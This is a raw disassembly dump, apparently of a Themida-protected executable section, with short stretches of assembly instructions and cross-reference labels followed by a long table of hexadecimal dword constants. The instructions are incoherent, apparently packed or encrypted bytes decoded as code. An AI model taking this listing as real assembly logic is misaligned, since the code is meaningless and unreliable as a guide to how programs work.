loc_4E14A8: ; CODE XREF: Themida_:004E14D6j
db 3Eh
pop ss
and [edi], edi
les eax, [ebx]
mov al, [ebp+25h]
add eax, 1A093082h
and [ecx+51h], eax
les eax, [eax]
mov ebx, 4FA80DD0h
repne popa
add [bx+di-1B55h], bh
sub dl, 35h
lock push esp
; ---------------------------------------------------------------------------
db 0Fh
; ---------------------------------------------------------------------------
loc_4E14CD: ; CODE XREF: Themida_:004E1495j
imul esp, [edx+2Ch], -3Dh
or al, 15h
cmp [eax+0], edi
jle short loc_4E14A8
or cl, bl
xchg eax, esp
out dx, al
mov edi, 0F6EC0005h
pop edx
sbb [ebx-49h], ch
push edi
mov eax, 0D8A9E319h
stosb
icebp
and al, 25h
cli
jl short loc_4E1502
push cs
loopne loc_4E1481
retf
; ---------------------------------------------------------------------------
db 34h
; ---------------------------------------------------------------------------
loc_4E14F7: ; CODE XREF: Themida_:004E14A4j
add [edi-7Eh], ah
loc_4E14FA: ; CODE XREF: Themida_:004E1493j
cmp [esi+5Bh], ecx
xor [esi+0Fh], dh
sbb al, 51h
loc_4E1502: ; CODE XREF: Themida_:004E14F0j
cmp eax, 76D17C04h
cmp esp, [ecx+46h]
push 75h
or [esi], ebp
inc esi
xchg eax, ebx
push cs
add cl, [eax-14h]
in al, 65h
nop
push es
cmp byte ptr [ebp-7Ch], 0C5h
add eax, 3C962A8Eh ; CODE XREF: Themida_:loc_4E1551j
call far ptr 45C2h:4855347h
sub [ecx+esi*2+0EE78C0Dh], ecx
mov ebx, 2BFF30AAh
xor dword ptr [edi+4], 341D22C0h
rol dword ptr [ecx+edi*8+20753319h], 0BCh
aas
pop es
ja short loc_4E1551
out dx, ax
xor [eax+2], dl
test eax, 678CE2ECh
loc_4E1551: ; CODE XREF: Themida_:004E1545j
jg short near ptr loc_4E151C+3
jmp esp
; ---------------------------------------------------------------------------
db 40h, 33h, 45h
dd 6094E9FAh, 52C46200h, 11254D8Ch, 0B1AA2182h, 425AAB33h
dd 56241384h, 825E6000h, 81AA47EEh, 4F052184h, 13B9AA8Ah
dd 97522320h, 9E98A43h, 47757800h, 60EAF3F4h, 1E24150Ch
dd 181D663Fh, 4800AFE7h, 105CC915h, 2507608Ch, 719BD482h
dd 1B55A33Eh, 22190B8Fh, 670E050Ch, 854AA8BCh, 0A600DA8Dh
dd 813575DCh, 0E4C6A1E2h, 14D193CCh, 1B90102Bh, 0FD8B5301h
dd 0F0CA0B5Ch, 19C33D86h, 0E3DA8C51h, 230AD1C8h, 1D02F498h
dd 0BC008E9h, 0E3A57A76h, 98DC1548h, 7EAAEAh, 6CEFB068h
dd 59C031F2h, 9AD00E01h, 3793F523h, 67EA5CC0h, 11522D18h
dd 0EE91EC81h, 58FC389Bh, 506C3DCAh, 3286BC50h, 0EA20159Ah
dd 71494480h, 2C12E578h, 0DA18985Fh, 821E4628h, 2DC2C018h
dd 93494500h, 5C34B752h, 0C0100760h, 0AEC882DFh, 0C65726F9h
dd 9AF3A080h, 5C2859BBh, 83228F34h, 0C48C3903h, 0E9187B58h
dd 494F1512h, 0D804CD00h, 0DEEC4D5Bh, 885D0061h, 7C60144Bh
dd 0B41C51ABh, 8240598Ah, 6631D2F7h, 84102836h, 0DEA3322h
dd 0B088540Bh, 0A626B97Bh, 8500398Bh, 0C7829290h, 0A8C003B4h
dd 0DCE5814Eh, 0DDAF1200h, 8C675CBAh, 505773C8h, 0FE10F2D8h
dd 0B2EF0AC4h, 60D02CE7h, 171E8C3Fh, 0D561E600h, 0B883B295h
dd 0AF4E1D6Fh, 0EA844643h, 0D7074E05h, 0A295FA82h, 1108120Eh
dd 0FE98C31h, 920E880Bh, 0A0FD9B80h, 8103FFABh, 0F6F874C8h
dd 0F1D102BBh, 0EA5B56F6h, 5A011864h, 359E07A0h, 12C098BEh
dd 4FE30096h, 1982CD87h, 0B40BD695h, 204AEAE2h, 0FA1B147Bh
dd 7205026Dh, 0C8D8078Ah, 595C4160h, 4F64FC01h, 7596E354h
dd 7C0BC1D3h, 0B00008BEh, 0B9ACCF17h, 8A773E61h, 848E9207h
dd 391CC280h, 0E2DF01C3h, 876ACCB2h, 0BD518055h, 446C0E37h
dd 23D507C2h, 0E384A4B8h, 9EC94E06h, 0D23081B4h, 63FA47DEh
dd 0F2512886h, 701B4156h, 0C760A739h, 65BFEC3h, 6E3FA519h
dd 6D00307Ch, 4BA8B9C3h, 58D252EEh, 2F036554h, 0A6B2F66Eh
dd 88571000h, 8B701350h, 43210C94h, 84596D41h, 0AB44D21Dh
dd 5A318701h, 93D478CEh, 8C290183h, 7D136F43h, 2E980D0h
dd 71035647h, 775F02B8h, 7E998320h, 0AFFF8490h, 2AC44C00h
dd 0A3EC0FD8h, 47FA3027h, 0A89874E8h, 9232E0FFh, 5A7FB400h
dd 4367A34Dh, 58454Eh, 0EEF913ACh, 0A8FD5700h, 0BCF50D63h
dd 0DAFA0C68h, 9C38A6D3h, 85898A0Eh, 65FC80ACh, 50809B66h
dd 184344D8h, 78B8DAEAh, 7405E5FCh, 0DDAAEED6h, 0C8D7880Dh
dd 677611C8h, 0C55051h, 0D2F3B813h, 0DB2A8E18h, 3743F428h
dd 0DE49E622h, 3370F3C3h, 8EEBA8C0h, 28A5EA31h, 38BCFF3Fh
dd 7D30A9A0h, 0BD6B89D7h, 0B70F3CA5h, 0E7310500h, 0B84AC106h
dd 8C733F05h, 0F207CC54h, 2019762Fh, 6B682738h, 58B72AF0h
dd 47BD0ADCh, 3EF87B96h, 0E002EE8Ch, 0C918C468h, 3F3966E4h
dd 6BE32A86h, 0D4CF00A4h, 7E25FBF8h, 0DEA047B4h, 86059BF4h
dd 0D6C98427h, 7C2F1C03h, 0DFB100C3h, 0CD14A132h, 6E00866Dh
dd 49E43CA0h, 1D28CAEh, 0FA38F7C5h, 48596A12h, 0C60987C4h
dd 10F35184h, 607B4350h, 0FE838963h, 6A65C612h, 0F421E330h
dd 8EF02766h, 0B6CF0098h, 3D39AAEAh, 476132FEh, 0EE7017F9h
dd 0E1A96840h, 3C79012Ch, 35E065C9h, 9A43D61Ah, 0B39A5802h
dd 80C1528Eh, 464A538Ch, 0ED98A109h, 83BE4EF0h, 0B8F077F3h
dd 4860A899h, 2AFE6459h, 48A2608Dh, 212509F9h, 13B0C803h
dd 0A8D851BCh, 600A47DFh, 8FF05014h, 0A63AC8E9h, 99900F78h
dd 0FA29A001h, 0ADF34Eh, 0B8702165h, 0BDF3A2Bh, 0A88FC000h
dd 1501371Dh, 0F9121D4Dh, 8519007Fh, 5C1E625Dh, 1B0BFB07h
dd 0BA815EC4h, 0EEF08432h, 989E3C44h, 0EDEABD80h, 15A8B7C0h
dd 0AC69400h, 6481DF4h, 0B22D3D50h, 84CBA4h, 0BFA59D16h
dd 8200C9E9h, 61C71BF4h, 92D8EAF6h, 646C1D4Ch, 0B998550h
dd 0AC804079h, 0A4A03432h, 3612D17Ch, 7C048215h, 0FC015DB2h
dd 405F77DAh, 6D7C390h, 1A18A360h, 805E9231h, 0FA09030Bh
dd 235D522Ah, 0E572EFA8h, 0C1410h, 552F7AADh, 0A3766657h
dd 0CBD2D8A8h, 9E8902F3h, 208E4FA6h, 4582846Bh, 5F401829h
dd 0CF60008Fh, 67033590h, 0ED0944F3h, 0E6D1B16h, 6F3A461Ch
dd 780B3040h, 5062FDE1h, 40A80509h, 605404D6h, 0BC3EF440h
dd 0A9398C30h, 683A818Ah, 3FBEE58Eh, 48926AC9h, 0FF340437h
dd 974D0455h, 643014C5h, 99C57B6h, 6BD3C11Bh, 2524700h
dd 20B1D6CCh, 31432F03h, 0B348101Ch, 6D9B136Eh, 0DEEE2420h
dd 20DD81AAh, 43116B7Ch, 84035144h, 69FFCAFAh, 0D6C28109h
dd 0CB48A056h, 6026DFA3h, 0DE9B10A5h, 12630A3Fh, 0A1BABEB8h
dd 498C5949h, 0D491620Bh, 260032B8h, 34073FAh, 0E27B216Eh
dd 0D95900D1h, 47DD1A16h, 48C07246h, 0B6AB262h, 0D7801213h
dd 0E3EC4653h, 931F5955h, 5A804503h, 6125366Dh, 0B053FB9h
dd 0E0D7F414h, 180C288h, 3D3EB26Ch, 44BF0C13h, 5149F346h
dd 9C5BF42Ch, 17C1262h, 0C6CAEE63h, 58049086h, 28BF122h
dd 8016F96Ch, 6C4830DDh, 7544EBCCh, 0A611141Ah, 45019CB6h
dd 4706F2Fh, 0FB8460AFh, 0D24391C1h, 0DC64A10Ah, 5FDD8856h
dd 479C620h, 7838FED7h, 0CDA08353h, 0E3393Ah, 0BF39D184h
dd 586A7368h, 9710508Eh, 0EF90257h, 0A7062972h, 0F661F4F8h
dd 4434A87Ah, 9E3A1543h, 7E18E44Bh, 4D2D59C4h, 10F81CE4h
dd 0CC167426h, 47109828h, 8A007AE2h, 8EF8E390h, 6200F43Fh
dd 8B6FDE26h, 88475A9Eh, 0BE00F70Bh, 17C2A82h, 0F61AEA2h
dd 1DA59E92h, 38852602h, 0F50F08CCh, 1213BF43h, 480EDC04h
dd 0A84CF810h, 3C1622C7h, 3718DEB1h, 4B900F95h, 0AC72248Eh
dd 854F8D60h, 0A2903019h, 12C1C340h, 5E104537h, 6D0722CCh
dd 8DE95C4Ah, 92EAA16Eh, 0F0A89DC3h, 4FC62000h, 2DE8348h
dd 928ED59Bh, 4D70E8CFh, 0BED20901h, 14221A5Fh, 18645A82h
dd 58A7B800h, 873ECE06h, 8FE60012h, 4E227D6h, 6C0521A4h
dd 4EFEBE08h, 6084F489h, 4BC9F86h, 0F0894743h, 0F8AD5810h
dd 0FBA00196h, 29D24D99h, 5A884194h, 0D4798042h, 0C7B102EFh
dd 0E350368h, 9FF42BBFh, 2F24AD90h, 0D8666D00h, 76F26EAAh
dd 0C1494B5h, 2141435Ah, 0C68A0700h, 0D01D6977h, 819004Ah
dd 0BD603CC0h, 7C284315h, 77454C52h, 5F40E21h, 9F9B0985h
dd 49818148h, 805AF851h, 57BFA59h, 359BF325h, 81392A0Bh
dd 5726C4h, 18022EB6h, 10475631h, 6E00E6C7h, 0F97B4EE9h
dd 0A4D7CC01h, 0F74A084h, 2B158058h, 485048DEh, 77AEB700h
dd 0FB545305h, 54A28CA4h, 16E7BFC0h, 368ED612h, 0E3F55481h
dd 0D17AD3h, 0BBC21364h, 0CAE04EC4h, 2C563D00h, 0FAC5FE0Bh
dd 5F4B0315h, 3AF65416h, 0F5505800h, 4085DF38h, 80983B66h
dd 9C83A448h, 0CDDBEE4Bh, 0B82690Ch, 7FB4C17Dh, 4E95008Dh
dd 9BEAA96Bh, 0EFE2C207h, 5CD9301h, 6187D980h, 45D22834h
dd 0C7D6F167h, 0C4E36129h, 0DF22AE00h, 0ACF4Ah, 70C48230h
dd 0C0D526AAh, 6E57DE09h, 0C4500819h, 0FA5F5502h, 0DD088069h
dd 8462663Fh, 0C9AF9488h, 6083AC34h, 4D52F081h, 0B6DAFE00h
dd 0F2408094h, 50C1FC10h, 0A29F02Fh, 839BBAB3h, 5BDB08D0h
dd 0F6D2F303h, 6C91ECE8h, 0C714697Bh, 47C8143Ch, 884C1A47h
dd 0F17F600Ch, 2B2293DBh, 3C005871h, 0D8B69506h, 769B027Eh
dd 0D4FC1Ch, 8E2DB33Bh
dd 17F2684Dh, 60FF3237h, 84B26684h, 0EC80D850h, 21C61EB1h
dd 6B594081h, 1A7168F2h, 0C4A5CE26h, 30A3DA08h, 48337018h
dd 807BBB00h, 499058EAh, 5141655Ah, 99CB00F9h, 0E92B6871h
dd 3800F471h, 6EE0DE9Fh, 50DA317Ah, 0EA4380B3h, 594760F2h
dd 0BD9BE67Dh, 21C9F800h, 23CD64Ah, 9668E427h, 0DDCE40F8h
dd 20FA960Fh, 6CBD9D05h, 980493B9h, 0F20BAB12h, 0E06B9801h
dd 0D90C20F9h, 44E4A444h, 0D2005655h, 0F17E91AEh, 8772Fh
dd 1239FA71h, 4DE3F450h, 0E14129CFh, 9EA5F5C2h, 0E73F30h
dd 800CDB21h, 259B6323h, 1EA26002h, 40AE856Ah, 805327E0h
dd 1800B655h, 76E375CCh, 53D80229h, 0B0880462h, 16839880h
dd 81AA7h, 1F74E541h, 0FBAF9CC8h, 18A15730h, 30AD63D8h
dd 4840D969h, 2CB84556h, 0B2ACD60Ch, 1775906h, 0D25D7E7Dh
dd 0F10EA644h, 0C694F043h, 0C165350Fh, 1DF966BDh, 0B0ED1D38h
dd 23714F74h, 83E98987h, 1043193Ch, 31320430h, 66C00413h
dd 1098525h, 0A668C281h, 3076B2F3h, 0E5185D89h, 0BBB87C7Fh
dd 1E427852h, 0C9DF3Bh, 2800638h, 0E600CD3Ah, 0D662DE1h
dd 1B0CF9FDh, 2997E543h, 9FDAB6E1h, 68805FC8h, 0D049D299h
dd 46BD0D2Ah, 8890E9D4h, 0E1A84A8h, 0A6A1F189h, 0D253F0BDh
dd 8A648F41h, 8274390h, 0A1EDE142h, 88E8E7BCh, 0DF0A41BCh
dd 81C42CE5h, 1D44D56Ah, 0F79181AFh, 0ECE85681h, 0C6667880h
dd 0A31D5C41h, 0D2A21C1h, 599E6155h, 0BE818A27h, 9B928518h
dd 18E05D5Bh, 0E5E0A8DFh, 317181EFh, 0F0A3862Ch, 0D938AC53h
dd 2D0A720h, 0BB9706EFh, 40A45393h, 0B422790Ah, 0AA89F468h
dd 0E22411D5h, 0EA080882h, 78C366EDh, 851587E0h, 63DA2E03h
dd 0D971A661h, 0B98A27F5h, 54CEBAFh, 43F149D4h, 0BEA7D1A0h
dd 0EA78D103h, 0A334663Dh, 5D40A025h, 438200FFh, 0D88AE49Ch
dd 46EE7DBh, 63469E91h, 1103B0h, 20DCC78Ch, 4FE7E054h
dd 102F61CCh, 803054E5h, 16180297h, 5B0D5F77h, 0ED18F48Dh
dd 1A285B6Ah, 1E181F77h, 98111828h, 65555868h, 13F094A8h
dd 38CBC803h, 0A0DB421Ah, 0ABD68316h, 0E36CC8A4h, 0F58A5814h
dd 0CCCB4043h, 0D786BB83h, 0F3958h, 0B3D88CA2h, 30170592h
dd 0B4912F1Ah, 4C90EF32h, 31DD0098h, 0E0583C2Bh, 0A45B54E8h
dd 94412472h, 76304C3Ch, 344AF789h, 3B5E5488h, 8FBB89D3h
dd 0B4B5B18Eh, 0CAD10A6Ch, 11429A00h, 97DCD78Ch, 489251AAh
dd 4723BC1Eh, 60AF6361h, 247BE424h, 508DDD8h, 4F0FE7DFh
dd 431268A8h, 645A0D7Ch, 0D4A16119h, 0F608BAA9h, 0CD18188h
dd 0DC852BD3h, 21005B71h, 4B44D82Fh, 4ECB272h, 0B4A7DB06h
dd 40D08554h, 22817170h, 0DF181FB1h, 0AA811EE6h, 0EFDB3EAFh
dd 0F9292056h, 0CCE105BCh, 8FA004BCh, 0EC9C8226h, 0C1D8A043h
dd 0F1900A70h, 10077424h, 38C2518Ch, 1DEADFh, 0E8904F7h
dd 0BE2FAF12h, 48217439h, 66C4003Ah, 0C844F750h, 223100ABh
dd 0D37A027Bh, 98013CEFh, 8E1D0E1Eh, 2AF04B07h, 70220741h
dd 906634D0h, 0E72FCB0Dh, 0CEF45400h, 7A3B25BDh, 40CC600Eh
dd 0D119206h, 134BA083h, 2757001Bh, 80302270h, 0D7007A50h
dd 88F74C29h, 1F21AF0Ah, 4476B3Bh, 8011A9D6h, 0FB1D037Ch
dd 148C1302h, 0C427551Bh, 5D048D7Ch, 8A80F84Ah, 1128D0Ah
dd 3FD89057h, 488037C3h, 96EDF7Ah, 0DB7781F5h, 2293B3Dh
dd 0F0C8CC50h, 3174C01Dh, 7E23043h, 54AF2F40h, 6922A500h
dd 0D47D506Ch, 0E85A0029h, 39BDD6EFh, 0E400DD62h, 9E6CE1Ch
dd 40C5159Eh, 0C108F1Eh, 0D0005418h, 0B517B69h, 480029CBh
dd 0B0CF8D8Ch, 17670CDh, 0FA021050h, 0D8089E0Dh, 0C500E743h
dd 46040C83h, 9CEC054h, 9517A26h, 8B613884h, 0F880AE94h
dd 2E208A13h, 6F4822EEh, 50007154h, 4129CE0Bh, 3B0AEF90h
dd 618021BFh, 0F6CD0E02h, 0D400A93Ch, 7894C04h, 120BF2h
dd 74A22B98h, 7A566234h, 547B020Fh, 0B5C580FEh, 0C20680h
dd 0EAC37837h, 32E0AC1Fh, 8C0940C1h, 0BC01111Ah, 5067CC74h
dd 6D02751Dh, 0DC8BF400h, 2D66A1h, 0D4CC4661h, 11991FE6h
dd 4B490300h, 1B0E8C20h, 0BE240098h, 42672E21h, 8CB31075h
dd 58705057h, 9A048F24h, 22462A00h, 73DC4B9h, 10C97B78h
dd 89F56228h, 3E358CC0h, 9845802Ch, 954AEE00h, 1D0211h
dd 0B8604F5h, 0A21359D5h, 68393B00h, 66D60943h, 3B81E24Dh
dd 2100BED0h, 0C30A5F76h, 980025B3h, 4B43CE08h, 0E138D10h
dd 0A9405314h, 5A776940h, 2900DFCCh, 0D592F833h, 73F66AFh
dd 0D40F0265h, 159630EAh, 4B00170Dh, 612F371h, 3A52E98h
dd 58353028h, 5DB0D00Bh, 0ACB0934Dh, 2613344h, 0AC20F0CBh
dd 9C53D9DEh, 43FDA57h, 1DD500D7h, 142B3DA3h, 31D6AD00h
dd 36CBD708h, 2A9229D8h, 0A5005434h, 81642722h, 7936DFh
dd 38313DD5h, 74630AA0h, 0B450609Ch, 183F671Dh, 0B2B7C12Ch
dd 21BF01h, 87C22273h, 5E2E850Dh, 18C00C9Fh, 0C1FC121h
dd 47C03C22h, 802375Eh, 964A049h, 0BA9C17DAh, 0ACD4C391h
dd 21050930h, 1C9CD2E9h, 0C004480Dh, 53CF46C1h, 0FB00118Fh
dd 81A9B2Eh, 0E0FD43h, 979CC816h, 0DC616342h, 7C41AA5Bh
dd 0D76FBC38h, 250EAEF4h, 10415906h, 192180CDh, 1AA26FB4h
dd 36323AE2h, 45764D80h, 0EEBEE11Dh, 98305C75h, 332A6013h
dd 0E8E700C1h, 2372D993h, 0D8E96402h, 221844D1h, 8BF91FE1h
dd 0F30B004Eh, 5A53D614h, 0E25371D9h, 5274201Ch, 0ED00B891h
dd 78A52A88h, 8C0EBD23h, 0EF22C2BFh, 3EB39464h, 763F0071h
dd 576763E4h, 74D466C1h, 9E004170h, 21BCBE54h, 5118C78h
dd 7AB32742h, 0E68C0CBFh, 3D2023B8h, 60DF7971h, 0FEF3B192h
dd 5825F5C4h, 76C04870h, 3844868Eh, 8000BEA7h, 0D0EC9F52h
dd 0C9020B33h, 92488782h, 0E11C8383h, 0F499006Ah, 0AC646213h
dd 9120A38h, 2054B168h, 62308h, 91B49CE0h, 44863436h, 9CE6E320h
dd 0D2014A00h, 6944B43h, 0E7FB0034h, 0B0EDB9EAh, 0E0D41FC7h
dd 8C16E854h, 5687B201h, 0D6122001h, 28D4DADCh, 3340EEE0h
dd 0A0310DB1h, 0F9F757D0h, 0FB0031F2h, 0B7A6FE8Fh, 7B496AF3h
dd 0B12900C7h, 6E7922E0h, 9205287Ch, 71DC4D54h, 0D587EC01h
dd 44E8F386h, 25028FDh, 839508BCh, 706A338h, 79144Ch, 1C0BE8A1h
dd 610D245Ah, 49DCA407h, 9EC04B20h, 0F5DAB9h, 8B94F135h
dd 8196C56h, 0DC31EF7Ah, 0CB15804h, 3E59B980h, 97A60EADh
dd 52FC7803h, 0CF6DE26Eh, 4CD361F2h, 6FB3049Ch, 62D642E0h
dd 0AB1620D0h, 0A700BB6Fh, 42FD7D1Bh, 0C40B98F5h, 4010B270h
dd 2181693Bh, 0B92E0057h, 7711F1A7h, 780174AAh, 0AE41A9FBh
dd 0B892C224h, 0F220B0BBh, 6CF5D902h, 808116F1h, 2B7B5848h
dd 0E9DA1D2Ch, 0B03B9288h, 762846E0h, 0C200F8B8h, 0CF793FA6h
dd 49E1D12Ah, 82004067h, 0EC7441C7h, 0D47D66C5h, 80188695h
dd 0DFA70321h, 0D1CEDD41h, 0C405CBF9h, 5B12C9F4h, 2854DCB0h
dd 456181ECh, 10247599h, 34763291h, 0C830D470h, 0EC731141h
dd 807688DDh, 0B241E0A8h, 0E731A067h, 0CBA76039h, 0F2D4E980h
dd 1DF70456h, 3B148103h, 88AB7BACh, 39AEF6CAh, 0F312E494h
dd 0DB90B0C4h, 348FD75h, 88C284DCh, 0B063D901h, 9FB9804Fh
dd 28BB2E4h, 0A1E20480h, 0A9E5DF03h, 9B940430h, 1C836956h
dd 30897CB0h, 74211F49h, 3200EC1Bh, 0B4DC839Bh, 170E8FBh
dd 7F533FFCh, 3054EE22h, 9443094h, 92A7F20Dh, 0A9FC02ECh
dd 0CADFE449h, 0B8E0CC4Dh, 4059A687h, 0A0135377h, 0A400C303h
dd 2BC18889h, 0B9DD6D90h, 9310F2D8h, 80894B06h, 11C41D44h
dd 0A4FA50AAh, 0D7A0EF0Ch, 9CFA50DBh, 0EA768444h, 71B0C253h
dd 0DD8E3720h, 0E82C00C0h, 9141780Fh, 63009CB8h, 48B60AF4h
dd 37A689C9h, 0C4A81195h, 201C89AFh, 0B01AEAC4h, 468C943h
dd 0B067B884h, 587C722h, 0C4C0A4B1h, 286F220Bh, 48A8DF49h
dd 0AA0F2E59h, 1A4CDB42h, 6A00E7F1h, 5334B25Dh, 713C03h
dd 2AA3EDE4h, 0E82F74B9h, 0E98B5B02h, 6F1E01B0h, 80A76494h
dd 60E19D28h, 88EA6109h, 48C8213Fh, 0EC3353D9h, 7B301DA2h
dd 30855816h, 0B416B89Ch, 93EC4205h, 50436F9Ah, 0B5207882h
dd 3AC7C1CCh, 0F9D017h, 0D63C5031h, 69E96168h, 0DC8E9107h
dd 38CFE597h, 0F28DF48h, 0F1205859h, 0AE34A320h, 9700FCAFh
dd 0D665A5Dh, 4268B8Ch, 41554F68h, 2389705h, 0D504CEC3h
dd 6092E8C3h, 213AA4B9h, 0BAF83B70h, 0AA9B0F09h, 50CD26Eh
dd 9CCC8397h, 23882F38h, 4E0A0B07h, 0FDBF6683h, 46335990h
dd 538C891Dh, 0B146DCA8h, 0C4227102h, 17311D87h, 220ADF10h
dd 750166E2h, 0E0B29BF8h, 43E84613h, 0DCE849F5h, 6832F06h
dd 7904C06Ah, 2A47B0ECh, 4E0A38E8h, 2C881835h, 0C1D30A24h
dd 0E1F1288h, 489011B8h, 12D722D8h, 4AD0ED41h, 5C58C9B8h
dd 9B071946h, 30E24612h, 0CAB59020h, 0C5AE890Dh, 8440882Dh
dd 4ED5CDA2h, 0A5DC8CC9h, 44872B28h, 20F4E0C4h, 0DC7C3200h
dd 0D323986h, 74D82155h, 8E600ECCh, 8B72276Fh, 61328420h
dd 0DB491031h, 7BAD91D0h, 77D1DF07h, 703052E4h, 24BDC7BFh
dd 8528A5A6h, 98D22AD0h, 4108C218h, 0C4EDEC71h, 0DAA24075h
dd 128AA141h, 436E9B97h, 40FDC330h, 431CC8ADh, 0F59E540h
dd 0B4C6D24Fh, 4309B265h, 0C9A605A8h, 0B7B03AA8h, 27C39003h
dd 0AB4E9h, 0FEA37621h, 6ED91C12h, 0F009DC73h, 0CFCC332h
dd 41CA78FDh, 0AC90006Ah, 8F09554Ch, 842172A4h, 80ED1D52h
dd 0D4162238h, 92482714h, 5B11196Bh, 5E8700D2h, 88A12339h
dd 588C33EFh, 1D4510C0h, 82A0C22Eh, 0C78A2BB3h, 720AC8AEh
dd 7B7A808Ch, 0BDFC827Ch, 0A4F83801h, 5C55FF1Eh, 0BAC031CDh
dd 0EA72AC9h, 0E5410CD4h, 0DA9812FCh, 9C940D78h, 0D0B086A8h
dd 7A7C313Eh, 2CA20586h, 20B2ACC4h, 0CF39AE94h, 1E9BF100h
dd 0A082303Ah, 0D9C81683h, 984C14D1h, 58582C8Dh, 22081078h
dd 0C41587C1h, 9C2401Ah, 79CD3722h, 0D8E00DFh, 5C922BA7h
dd 6159E171h, 4889276Ch, 4D5F0D50h, 0EF06289Ch, 7823B788h
dd 6297D909h, 11B81D2Ch, 0FCB7811Eh, 0B0F402DDh, 7F2B2833h
dd 0CF520C8h, 58FE6301h, 43A06A7Ah, 81D880E2h, 821FD9AEh
dd 2D860040h, 4759B8A8h, 2B342509h, 22E082CEh, 62504084h
dd 0FD16155Eh, 0F098988Ch, 0AB67B439h, 0C375A6E0h, 8193F847h
dd 0D2ACD120h, 0AA1F0252h, 5E0DDFD6h, 0A3638090h, 0D902C899h
dd 6A24E598h, 9605A3Ch, 81BE9B92h, 160534FAh, 0CA9CC9D0h
dd 11052CC1h, 0C056E100h, 0F45CD01h, 0B9EF083Fh, 9C380424h
dd 4465C5Ch, 0A1B124h, 828D8055h, 10B8F687h, 2B594E10h
dd 0B32DD000h, 1CE11A77h, 0E6018B0h, 0AA8B2999h, 48B0C391h
dd 59782B49h, 1BAD660Fh, 8FF44170h, 15F4F803h, 9AA1FC1h
dd 840B956Eh, 0FB80D23Ah, 63557BE7h, 4305287Ch, 49DAC740h
dd 5E527880h, 711E64E5h, 1D8A4B1h, 1884AA00h, 68E647EEh
dd 35B70093h, 92639827h, 0C6514B85h, 0EA77D8FCh, 9D24617h
dd 80112008h, 7D10D59h, 0A03B0C2h, 0D3580C77h, 9CC590BFh
dd 0DEE63Eh, 721BF4D6h, 78227C6Eh, 0DCC9C400h, 9B12F171h
dd 0EFD4A85Ah, 0A2C28F5h, 0F9C400E4h, 8B95AC83h, 0DF80DDCDh
dd 8C0C55E3h, 0A4C5F443h, 69037300h, 2500F89Ch, 0FEA56B2h
dd 1BA4942h, 6C8E3CF1h, 0E887BCE7h, 6D5930E5h, 98090450h
dd 44B319D6h, 0AFB2B23Ah, 94A1F028h, 52970CB7h, 0C848BB08h
dd 32309392h, 0F5C3988Fh, 590C6368h, 40C142BEh, 6410830Dh
dd 0C87F683h, 2D491D28h, 3809F1C1h, 0C4C90525h, 5D931CB0h
dd 0CB1E40E8h, 0BF0CD4DAh, 724F2B02h, 82D2C9B9h, 488941C0h
dd 3C9328E4h, 0D928B12Ch, 42552CF0h, 1BDF8954h, 0E70314FAh
dd 0DEBF0F8Ah, 5E402CDAh, 8811904Ch, 41C5C0D3h, 3546EC0Eh
dd 0A5007E22h, 0E7D41DDh, 1C1A6188h, 42D1BFh, 8286AE1h
dd 0A8A0D905h, 1132B0F0h, 0C06098D6h, 1293122Ch, 4B197E5Ah
dd 1820C0C8h, 0E236B1A9h, 960AFB17h, 0EDDC32h, 0E1DDBB57h
dd 0C9816660h, 95E3431h, 43D2FC0Ch, 8CC4988Ah, 5BE0D4D9h
dd 6E2DE898h, 43146A97h, 418AAAF4h, 1084EA38h, 0C8C7CB93h
dd 0BAEA89CCh, 0A46F890h, 0C09CDC02h, 1331D691h, 9CD4EF10h
dd 0DE077E77h, 0D398EC09h, 879409C9h, 1B2615A4h, 8B113DC8h
dd 0DFF87DB0h, 90AC5F0Bh, 87AD890Bh, 618410CDh, 0F8C2827Ch
dd 0D001059h, 0C0A55D44h, 8FD1DC4h, 9F6D8043h, 6C4D3A88h
dd 91DAFE02h, 0C469BE83h, 6876F3D8h, 0D96FBA02h, 0C731BE42h
dd 0B21B2180h, 555B8D6Fh, 8B893702h, 0A0089663h, 0D1AE87A0h
dd 0F8C0BA12h, 5261FE57h, 0C00230E0h, 0CE42DB6Fh, 150098E7h
dd 45F36FB8h, 0F44F00D2h, 9394659Fh, 0B0C07026h, 0B8D82B58h
dd 2866589Ah, 1E68CA11h, 42824B3Fh, 0EABFB1B7h, 400C8024h
dd 13437485h, 0C267E015h, 0E9201240h, 0FDD7C6h, 0F4A46D27h
dd 9FAEFBB1h, 373A8D79h, 8F9B89DEh, 0BF0200A8h, 965948A9h
dd 0FD430EF8h, 649018EBh, 88B48C62h, 6170B08Dh, 99491840h
dd 9168B402h, 9CDB8005h, 962E91BDh, 0D3F0587Ch, 42D59C58h
dd 5FF101B0h, 0E303499Eh, 0D43CDF31h, 6810C927h, 78808342h
dd 192E6049h, 0CD7764B7h, 4B844813h, 0CF73F042h, 0C938C01Eh
dd 6CD8A21Ah, 0F3820AB8h, 1A0D483h, 73B0AF38h, 97C20C4h
dd 9CD7048Ch, 62CE91B9h, 2FEC201Eh, 1F01649Bh, 9D97C707h
dd 608B403Fh, 0E4004EA7h, 701D42BDh, 6327F092h, 1AB01008h
dd 5C4316A6h, 2DC8201Dh, 7A2C550Dh, 0E680EC2Ch, 0F8154460h
dd 9740C307h, 84E45E9Bh, 0A9BEC614h, 6B79A8B9h, 7B1DF218h
dd 0F589A947h, 0FFA0E008h, 9459034Dh, 84540DB2h, 6FE26102h
dd 0A995E125h, 6430E538h, 0AB3E607Fh, 652D0046h, 767BE3C5h
dd 821C44EAh, 70B2686Fh, 0A9FC20C1h, 4802884Ch, 554689E3h
dd 62E08F07h, 0A4BD832Bh, 0EC8B63ACh, 76C0CCC8h, 0B21D958h
dd 0CFDC6392h, 0E8ED1402h, 0CA18DCD0h, 3C31E0A7h, 0FBFE0046h
dd 0BC4A1AA1h, 5A1E671Ch, 0D90F7E1Bh, 40CDE987h, 49B1C1E0h
dd 82006080h, 0F394409Ch, 0D4A275BEh, 5F70A853h, 1768E0E7h
dd 916B5D9h, 7C60BAE0h, 0A013EA78h, 9400C5A3h, 5E0BE0D4h
dd 0B97A2EDAh, 2D2A6064h, 0C506C0F4h, 71AC6C75h, 73E775D8h
dd 37E80BA3h, 84C972C2h, 97B917D3h, 811E91FCh, 99FDB158h
dd 0D85259DDh, 91C20020h, 0B9D3C693h, 89DE6861h, 724AC5h
dd 1F02BD38h, 17F5D95Eh, 0C28668DEh, 0FCD114B2h, 927402ADh
dd 3B5DDA7Bh, 0E184860h, 0EC79D203h, 0D038A38Eh, 2274B497h
dd 3D00174Ch, 43982B1Eh, 16F53968h, 0B796D55h, 1CE4D27Ch
